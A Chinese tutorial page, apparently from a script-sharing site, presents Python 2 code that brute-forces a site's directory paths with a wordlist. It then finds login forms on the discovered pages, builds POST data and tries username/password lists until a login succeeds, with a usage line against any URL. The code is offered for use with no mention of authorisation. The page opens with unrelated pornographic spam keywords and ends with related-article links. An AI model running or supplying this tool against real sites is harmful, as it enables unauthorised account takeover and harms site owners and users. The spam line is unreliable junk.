欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

python遍歷路徑破解表單的示例

 更新時間:2020年11月21日 10:22:21   作者:Misaki''s  
這篇文章主要介紹了python遍歷路徑破解表單的示例,幫助大家更好的理解和使用python,感興趣的朋友可以了解下

首先是利用python遍歷路徑,采用字典爆破的形式,當然如果只是單純的爆破路徑,簡單寫一個多線程腳本就行了。這里考慮如何對爆破到的路徑進行第二步利用,此處嘗試對猜解到的路徑進行表單發(fā)現(xiàn)及登陸爆破處理。

​首先就是路徑爆破,采用多線程隊列,爆破路徑,判斷形式為200響應碼。

    while not self._queue.empty():
      queue = self._queue.get(timeout=0.5)
      try:
        r = requests.get(self.url+queue,timeout=5, headers=self.headers)
        if r.status_code == 200:
          print "[200] %s" %(queue)
          soup = BeautifulSoup(r.content,'html.parser')
          if soup.find('form'):
            self.brute(soup, queue)

猜解到路徑后交給brute方法處理,方法實現(xiàn)了一個css選擇器,獲取form表單中的input字段標簽,提取標簽參數(shù)組合成post參數(shù)值,然后提取表單中的action跳轉頁面,如沒有頁面默認在當前表單頁提交。

input = soup.select("form input")
      for i in input:
        try:
          if i.attrs['type'] == "hidden":
            name, value = i.attrs['name'], i.attrs['value']
            list_post.append(name+'='+value)
          elif i.attrs['type'] == 'password':
            name = i.attrs['name']
            list_post.append(name+'=$$$')
          else:
            name = i.attrs['name']
            list_post.append(name+'=%%%')
        except:
          continue
      for i in list_post:
        post = post + i + '&'
      action = soup.find_all('form')
      for i in action:
        if i['action']:
          actiontag = i['action']
        else:
          actiontag = queue
      self.payload(post, actiontag)

獲取參數(shù)值后,交給payload方法處理登陸,采用requests庫的session登陸。獲取cookie,先采用session請求獲取cookie后,再采用session攜帶cookie進行請求提交。然后對輸入的驗證值進行判斷是否為登陸成功。

    for name in self.username():
      post_user = post.replace('%%%',name.strip())
      for pwd in self.password():
        post_pwd = post_user.replace('$$$',pwd.strip())
        session = requests.Session()
        session.get(self.url+'/'+action, headers=self.headers, verify=False)
        r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False)
        if self.word in r.content:
          print '[username] %s' %name +'\r' + '[password] %s' %pwd
          return

為了判斷是否登陸成功,采用的人為輸入判斷字符串的形式。也就是腳本執(zhí)行形式為

python xxx.py http://xxxx.com xxxxx

以上就是python遍歷路徑破解表單的示例的詳細內容,更多關于python 破解表單的資料請關注腳本之家其它相關文章!

相關文章

  • 如何用OpenCV -python3實現(xiàn)視頻物體追蹤

    如何用OpenCV -python3實現(xiàn)視頻物體追蹤

    OpenCV是一個基于BSD許可(開源)發(fā)行的跨平臺計算機視覺庫,可以運行在Linux、Windows、Android和Mac OS操作系統(tǒng)上。這篇文章主要介紹了如何用OpenCV -python3實現(xiàn)視頻物體追蹤,需要的朋友可以參考下
    2019-12-12
  • python 整數(shù)越界問題詳解

    python 整數(shù)越界問題詳解

    這篇文章主要介紹了python 整數(shù)越界問題詳解,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2019-06-06
  • flask循環(huán)導入的問題解決

    flask循環(huán)導入的問題解決

    循環(huán)導入是指兩個文件相互導入對,本文主要介紹了flask循環(huán)導入的問題解決,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2023-04-04
  • python基于BeautifulSoup實現(xiàn)抓取網(wǎng)頁指定內容的方法

    python基于BeautifulSoup實現(xiàn)抓取網(wǎng)頁指定內容的方法

    這篇文章主要介紹了python基于BeautifulSoup實現(xiàn)抓取網(wǎng)頁指定內容的方法,涉及Python使用BeautifulSoup模塊解析html網(wǎng)頁的相關技巧,具有一定參考借鑒價值,需要的朋友可以參考下
    2015-07-07
  • Python Pygame實戰(zhàn)之實現(xiàn)經(jīng)營類游戲夢想小鎮(zhèn)代碼版

    Python Pygame實戰(zhàn)之實現(xiàn)經(jīng)營類游戲夢想小鎮(zhèn)代碼版

    作為一名模擬經(jīng)營類游戲的發(fā)燒友,各種農場類、醫(yī)院類、鐵路類的游戲玩兒了很多年。今天用代碼給大家打造一款夢想小鎮(zhèn)游戲,希望大家喜歡啦
    2022-12-12
  • Python實現(xiàn)按鍵精靈版的連點器

    Python實現(xiàn)按鍵精靈版的連點器

    這篇文章主要為大家詳細介紹了如何利用Python實現(xiàn)按鍵精靈版的連點器,文中的示例代碼講解詳細,具有一定的學習價值,感興趣的小伙伴可以了解一下
    2023-06-06
  • 如何利用opencv判斷兩張圖片是否相同詳解

    如何利用opencv判斷兩張圖片是否相同詳解

    這篇文章主要給大家介紹了關于如何利用opencv判斷兩張圖片是否相同的相關資料,OpenCV是一個開源的計算機視覺庫,它提供了很多函數(shù),這些函數(shù)非常高效地實現(xiàn)了計算機視覺算法,需要的朋友可以參考下
    2021-07-07
  • Python實現(xiàn)的樸素貝葉斯算法經(jīng)典示例【測試可用】

    Python實現(xiàn)的樸素貝葉斯算法經(jīng)典示例【測試可用】

    這篇文章主要介紹了Python實現(xiàn)的樸素貝葉斯算法,結合實例形式詳細分析了Python實現(xiàn)與使用樸素貝葉斯算法的具體操作步驟與相關實現(xiàn)技巧,需要的朋友可以參考下
    2018-06-06
  • Python爬蟲實戰(zhàn)項目掌握酷狗音樂的加密過程

    Python爬蟲實戰(zhàn)項目掌握酷狗音樂的加密過程

    在常見的幾個音樂網(wǎng)站里,酷狗可以說是最好爬取的啦,什么彎都沒有,所以最適合小白入門爬蟲,本篇針對爬蟲零基礎的小白,所以每一步驟我都截圖并詳細解釋了,其實我自己看著都啰嗦,歸根到底就是兩個步驟的請求,還請大佬繞路勿噴
    2021-09-09
  • python讀取Android permission文件

    python讀取Android permission文件

    python解析json文件讀取Android permission,同時可以學習到json的知識。
    2013-11-11

最新評論